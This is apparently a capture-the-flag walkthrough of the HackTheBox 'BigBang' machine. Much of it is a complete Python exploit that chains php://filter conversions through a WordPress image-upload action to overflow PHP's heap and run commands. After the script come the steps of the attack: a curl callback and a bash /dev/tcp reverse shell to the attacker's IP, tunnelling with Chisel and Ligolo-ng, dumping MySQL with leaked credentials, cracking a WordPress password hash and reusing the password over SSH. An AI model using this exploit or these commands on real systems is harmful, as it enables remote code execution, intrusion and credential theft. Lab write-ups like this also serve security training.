# To use, implement the Remote class, which tells the exploit how to send the payload.
#
from __future__ import annotations
import base64
import zlib
import urllib.parse
import urllib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
# Prefix for php://filter chain used in LFY.py
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
# Modify the helper class
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends the payload and processes the response."""
# Construct the POST request as in lfi.py
data = {
"action": "upload_image_from_url",
"url": chain_prefix + path,
"id": "1",
"accepted_files": "image/gif"
}
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
}
# Simplify the return logic from PoC
return self.session.post(self.url, headers=HEADERS, data=data)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
# Extract error text
response = response.json()['response']
# Filter "File type not allowed"
if 'File type' in response:
print(response)
return b''
# Get the uploaded file content
response = self.session.get(response)
# Remove GIF header
data = response.content[6:]
return data
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result
# Produce a random Unicode string.
text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
# Create a URI for PHP like data:// wrapper.
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
# Check if `php://filter` protocol works
# Disguise the payload as an image to bypass file-type check
text = 'GIF89a' + tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
# Check if zlib category is available on the remote server
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
# Bypassing all checks will come to this branch
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
"""A wrapper for Rmote.download"""
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""
Obtains the memory regions of the PHP process by querying /proc/self/maps.
We use `php://filter//resource=data:text/plain;base64,...` to read files
The content embedded in the corresponding response is Base64 encoded
So decode it by complementing the format
"""
leaked_maps = self.get_file("/proc/self/maps")
# maps = maps.decode()
maps = base64.decode(leaked_maps.decode('latin-1') + (4 - len(leaked_maps) % 4) * '=')
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
"""
Get the matched libc version (2.36):
```
wget https://ftp.gnu.org/gnu/glibc/glibc-2.36.tar.gz
tar -xvf glibc-2.36.tar.gz
cd glibc-2.36
mkdir build && cd build
cd build
../configure --prefix=/custom/install/path
make -j$(nproc)
make install
```
And place it on current working directory
"""
LIBC_FILE = "./libc.so.6"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
msg_info(f'Heap address: {hex(self.info["heap"])}')
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
# self.download_file(libc.path, LIBC_FILE) # Just a check point
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
# self.check_vulnerable() # Just a check point
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
"""Heap overflow"""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
# self.remote.send(path)
"""
We cannot use the original function send(path) here.
Because we modify the `send` function to add extra prefix ahead of the "path"
to disguise it as an image,
while the format of "path" here is already processed by `build_exploit_path`
So just send the "path" to server straight forward!
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus(path),
'id' : '1',
'accepted_files' : 'image/gif'}
self.remote.session.post(self.url, data=data)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
Enjoy the debugging—that's the beauty of Binary Exploitation. Here's a quick summary of the modifications we made:
- Embed the logic of
lfi.py
to thesend
anddownload
function in the helper classRemote
. - Create a custom decode method using Base64 for the returned
/proc/self/maps
, as explained in the comments. - Get the matched Glibc version (
2.36
) used in the container - it's easy since we already have an Arbitrary Read on the output of/proc/self/maps
usinglfi.py
earlier.- We can use some found offsets to get the result via Libc Databases like this one, or using some relevant tools to leak the version information.
- Or, just simply leak the libc object file from standard file path, and use the usual technique for PWN running
strings libc.so.6 | grep GNU
to extract version number.
- We need to custom another
send
method when sending the payload for heap exploitation, as we definesend
function with the chain created by wrapwrap.
Again, more details are explained in the comments of the script.
PoC Test
Before running the script, we better create a virtual environment using:
python -m venv venv
Then activate it under current shell:
source venv/bin/activate
Install the required libraries:
pip install -r requirements.txt
Install extra dependencies if needed:
pip install tensorflow
Run the script by testing command id
:
python xpl.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" "curl http://$tun0_ip/?EXPLOIT"
BINGO:

RCE
Get a reverse shell by executing the classic command for Linux system:
python xpl.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" "bash -c \"bash -i >& /dev/tcp/$tun0_ip/4444 0>&1\""
We have the reverse shell as user www-data
:

USER
MySQL
Network | /proc/net/tcp
We confirmed the web server is running inside a container with a very limited executables available. Tools like netstat
and ss
are missing, but wget
is available, allowing us to upload static binaries for tools like nmap
.
However, to save time after spending so much on the foothold (though it was fun), we explored Linux's /proc
filesystem. This directory holds detailed information about network connections, specifically in /proc/net/tcp
and /proc/net/udp
:
$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37318 1 0000000000000000 100 0 0 10 0
1: 030011AC:C29C 010011AC:0CEA 01 00000000:00000000 02:000A0E6E 00000000 33 0 315259 2 0000000000000000 20 4 1 10 -1
2: 030011AC:9392 02100A0A:115C 01 00000012:00000000 01:00000056 00000000 33 0 316621 3 0000000000000000 116 4 31 10 -1
Fields in /proc/net/tcp
:
- sl: The entry number.
- local_address: The local address and port in hexadecimal.
- rem_address: The remote address and port in hexadecimal.
- st: The connection state (e.g.,
0A
meansLISTEN
). - tx_queue
/
rx_queue: Transmit and receive queue sizes. - inode: The inode representing the socket.
We can manually parse the retrieved data:
- Entry 0:
- local_address:
00000000:0050
- IP:
0.0.0.0
(all interfaces). - Port:
0050
in hex =80
(HTTP).
- IP:
- rem_address:
00000000:0000
- No remote connection (it's a listener).
st
:0A
=LISTEN
.
- local_address:
- Entry 1:
- local_address:
030011AC:C29C
- IP:
172.17.0.3
. - Port:
C29C
in hex =49820
.
- IP:
- rem_address:
010011AC:0CEA
- IP:
172.17.0.1
. - Port:
3306
(MySQL FOUND!).
- IP:
- The
local_address
(172.17.0.3:49820
) indicates that something inside the container at172.17.0.3
is attempting to connect to the database server on172.17.0.1
.
- local_address:
- Entry 2:
- local_address:
030011AC:9392
- IP:
172.17.0.3
. - Port:
37778
(hex9392
).
- IP:
- rem_address:
02100A0A:115C
- IP:
10.10.16.2
. - Port:
4444
(Connect to our reverse shell listener).
- IP:
- local_address:
Port 3306 open for running MySQL for the WordPress server, which is a usual practice. And we know the credentials of the database with the leaked wp-config.php
in last chapter:
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
Port Forward | Ligolo-ng
The container doesn't even have mysql
installed. To try accessing the MySQL service on the host (172.17.0.1
) via port 3306
, we can set up port forwarding.
Using our favorite tool, Ligolo-ng, we start by uploading the agent
to the container:

Configure the proxy side of Ligolo-ng and establish the connection. On the container, execute the agent
(suggest running with an &
at the end of the command to run it in the background):

Now we can test our tunneling job with nmap
at our attack machine:

Tunnel set up.
Connect MySQL | PHP Script
Connect the database with the provided configurations:
mysql -u wp_user -p'wp_password' -h 172.17.0.1 -D wordpress
But I could not connect the database even after successfully tunneling with Ligolo-ng:

Port 3306
(MySQL) on the host 172.17.0.1
is closed via Nmap. This means the MySQL service is either not running, or the port is firewalled.
Since the target lacks the mysql
binary, but we know PHP is available, we can leverage it to interact with the database directly. Create a PHP script named test.php
and serve it using an HTTP server for ease of access:
<?php
$host = '172.17.0.1';
$user = 'wp_user';
$pass = 'wp_password';
$db = 'wordpress';
$conn = new mysqli($host, $user, $pass, $db);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully\n";
$result = $conn->query("SHOW TABLES");
while ($row = $result->fetch_row()) {
echo $row[0] . "\n";
}
$conn->close();
?>
Then use curl ... | php
to run the script, which returns a success:

But the script only prints Connected successfully
which proves MySQL service should be enabled, yet does not output the results of the SQL query back to the php
interpreter or the curl response.
Port Forward | Chisel
Try Chisel for tunneling:

This time nmap indicates port 3306 open
:

But I still couldn't access the MySQL database connection.
Port Scan | Nmap
Therefore, I uploaded the Nmap source code to the target machine and compiled it locally to perform an internal scan and diagnose the issue:

Port is closed.
Run ps
for details:
$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 07:26 ? 00:00:01 apache2 -DFOREGROUND
www-data 17 1 0 07:26 ? 00:00:00 apache2 -DFOREGROUND
www-data 22 1 0 07:27 ? 00:00:00 apache2 -DFOREGROUND
www-data 91 1 0 12:31 ? 00:00:00 apache2 -DFOREGROUND
www-data 93 1 0 12:31 ? 00:00:00 sh -c sleep 1; kill -9 $PPID; bash -c "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1"
www-data 95 93 0 12:31 ? 00:00:00 bash -c bash -i >& /dev/tcp/10.10.16.2/4444 0>&1
www-data 96 95 0 12:31 ? 00:00:00 bash -i
www-data 98 96 0 12:32 ? 00:00:00 ./chisel client 10.10.16.2:8088 R:3306:127.0.0.1:3306
www-data 106 1 0 12:45 ? 00:00:00 apache2 -DFOREGROUND
www-data 107 1 0 12:45 ? 00:00:00 apache2 -DFOREGROUND
www-data 134 1 0 13:02 ? 00:00:00 sh -c sleep 1; kill -9 $PPID; bash -c "bash -i >& /dev/tcp/10.10.16.2/4445 0>&1"
www-data 136 134 0 13:02 ? 00:00:00 bash -c bash -i >& /dev/tcp/10.10.16.2/4445 0>&1
www-data 137 136 0 13:02 ? 00:00:00 bash -i
www-data 14375 137 0 13:23 ? 00:00:00 ps -ef
Find mysql
, but no executable binary found on the container:
$ find / -name "*mysql*" 2>/dev/null
/usr/local/lib/php/extensions/no-debug-non-zts-20230831/mysqli.so
/usr/local/include/php/ext/mysqlnd
/usr/local/include/php/ext/mysqlnd/mysqlnd_protocol_frame_codec.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_reverse_api.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_charset.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_priv.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_structs.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_vio.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_block_alloc.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_debug.h
/usr/local/include/php/ext/mysqlnd/php_mysqlnd.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_connection.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_plugin.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_ext_plugin.h
/usr/local/include/php/ext/mysqlnd/mysql_float_to_double.h
/usr/local/include/php/ext/mysqlnd/mysqlnd.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_result_meta.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_wireprotocol.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_libmysql_compat.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_statistics.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_result.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_ps.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_read_buffer.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_enum_n_def.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_alloc.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_portability.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_auth.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_commands.h
/usr/local/include/php/ext/mysqli
/usr/local/include/php/ext/mysqli/php_mysqli_structs.h
/usr/local/include/php/ext/mysqli/mysqli_mysqlnd.h
/usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini
Port Forward | Chisel AGAIN
Weirdly enough, after confirming MySQL was indeed running on 172.10.0.1:3306
based on wp-config.php
and the output of cat /proc/net/tcp
, we encountered the following issues:
- Port 3306 appeared closed during the internal Nmap scan.
- Port forwarding using Ligolo-ng with the
172.10.0.0/24
range did not grant access to MySQL. - Tunneling
127.0.0.1:3306
with Chisel also failed.
However, when tunneling 172.10.0.1:3306
directly using Chisel:

It works:

Poker Face - We will know why when we get to the ROOT part.
Exploit MySQL
Finally we can dive into the database, for some dummy reasons. We can dump the whole db using one command:
mysqldump -u wp_user -p'wp_password' -h 172.17.0.1 wordpress --no-tablespaces --skip-ssl > wordpress_dump.sql
This takes a bit of time due to the large amount of dumped data. So we can simply navigate it using SQL queries, which allows us to quickly locate credentials stored in the wp_users
table:

Use hashcat --identify
to verify the found hashes:

Both user_pass
fields use the phpass algorithm for hashing passwords, which is a common hash used in WordPress. Therefore, use Hashcat with mode 400
, it turns out the hash from shawking
user is crackable:
$P$Br7LUHG9NjNk6/QSYm2chNH▒▒▒▒▒▒▒./:quan▒▒▒▒▒▒▒▒▒▒
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Password Reuse
Simply reuse the password for user shawking
to SSH login, we compromise the user flag:

ROOT
Internal Enum
Say goodbye to the fragile container; we now have a rock-solid foothold as user shawking
.
shawking@bigbang:~$ sudo -l
[sudo] password for shawking:
Sorry, user shawking may not run sudo on bigbang.
Network
Let's look up the network to see how this machine connects to the containers:
shawking@bigbang:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:afff:fe4d:d335 prefixlen 64 scopeid 0x20<link>
ether 02:42:af:4d:d3:35 txqueuelen 0 (Ethernet)
RX packets 29001 bytes 4664588 (4.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 40579 bytes 46767574 (46.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.205.83 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 dead:beef::250:56ff:feb0:7b80 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb0:7b80 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b0:7b:80 txqueuelen 1000 (Ethernet)
RX packets 43528 bytes 45513948 (45.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 32433 bytes 3537766 (3.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 10335 bytes 947259 (947.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10335 bytes 947259 (947.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth4628275: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::785f:2bff:fe37:44a1 prefixlen 64 scopeid 0x20<link>
ether 7a:5f:2b:37:44:a1 txqueuelen 0 (Ethernet)
RX packets 214 bytes 15868 (15.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 74 bytes 4220 (4.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vetha89b570: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::dc6a:c0ff:fe48:b3e3 prefixlen 64 scopeid 0x20<link>
ether 22:aa:9f:fe:c9:ba txqueuelen 0 (Ethernet)
RX packets 3636 bytes 1716386 (1.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3939 bytes 419413 (419.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethd021780: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::34e8:6dff:fe04:a100 prefixlen 64 scopeid 0x20<link>
ether 36:e8:6d:04:a1:00 txqueuelen 0 (Ethernet)
RX packets 25151 bytes 3338348 (3.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 36644 bytes 46349561 (46.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0
:- IP Address:
172.17.0.1
- This is a bridge interface created by Docker, typically the gateway for containers connected to Docker's default network.
- IP Address:
eth0
:- IP Address:
10.129.205.83
- This is the main interface connected to the external network.
- IP Address:
lo
:- IP Address:
127.0.0.1
- IP Address:
veth*
Interfaces:- These are virtual Ethernet interfaces created by Docker for container-to-host and container-to-container communication.
lxc
Think we may have a chance exploiting this with socket SUID set. But I decide to delete this section from the post to not making this writeup even longer.
Linpeas

Running MySQL Process (NOT on docker):
- The MySQL server (
mysqld
) is active (mysqld --user=mysql
). - It listens on:
- Localhost: 127.0.0.1:3306
- Bridge Interface: 172.17.0.1:3306
Grafana:
- Grafana is running as root.
- The configuration file is located at
/etc/grafana/grafana.ini
. - Grafana uses
/usr/share/grafana
as its home directory. - It's being run from Docker.

Active Ports:
- 127.0.0.1:3000 (Grafana):
- Grafana is running on localhost at port
3000
.
- Grafana is running on localhost at port
- 127.0.0.1:9090:
- Port
9090
is commonly associated with Prometheus or another monitoring service. - This could provide metrics or other sensitive information.
- Port
- 172.17.0.1:3306 (MySQL):
- MySQL is confirmed to be running and accessible at this internal address.

AlertManager configuration:
1. Table: alert_configuration
- Purpose: Stores the active AlertManager configuration for the Grafana instance.
- Fields of Interest:
- JSON with alert routing and receiver configuration.
- The
receiver
is set tografana-default-email
, suggesting email alerts are configured. - The
grafana_managed_receiver_configs
array is currently empty ("uid": ""
), but might expand with additional configurations. configuration_hash
: Could be used to verify changes or detect tampering.default
: Indicates if this is the default alert configuration for the organization (org_id
).
2. Table: alert_configuration_history
- Purpose: Tracks historical changes to alert configurations.
- Fields of Interest:
alertmanager_configuration
: Stores previous configurations, which might include outdated but still valid credentials or sensitive details.last_applied
: Indicates when the configuration was last applied, which could help determine its relevance.
Grafana
The scan results, combined with the observations from the LinPEAS scan, suggest that Grafana is a strong potential attack vector for privilege escalation or further exploitation.
Grafana is an open-source platform used for monitoring, visualization, and alerting on metrics and logs. It's widely used in DevOps, IT operations, and system monitoring. Grafana provides a web-based interface to create dashboards, visualize system performance, and set up alerts based on thresholds.
Port forward localhost:3000
:
ssh -L 3000:127.0.0.1:3000 [email protected]
Navigate to http://localhost:3000
we see the login page of Grafana:

Grafana Database
Under the /opt
directory, which typically houses application data, we discover a database:
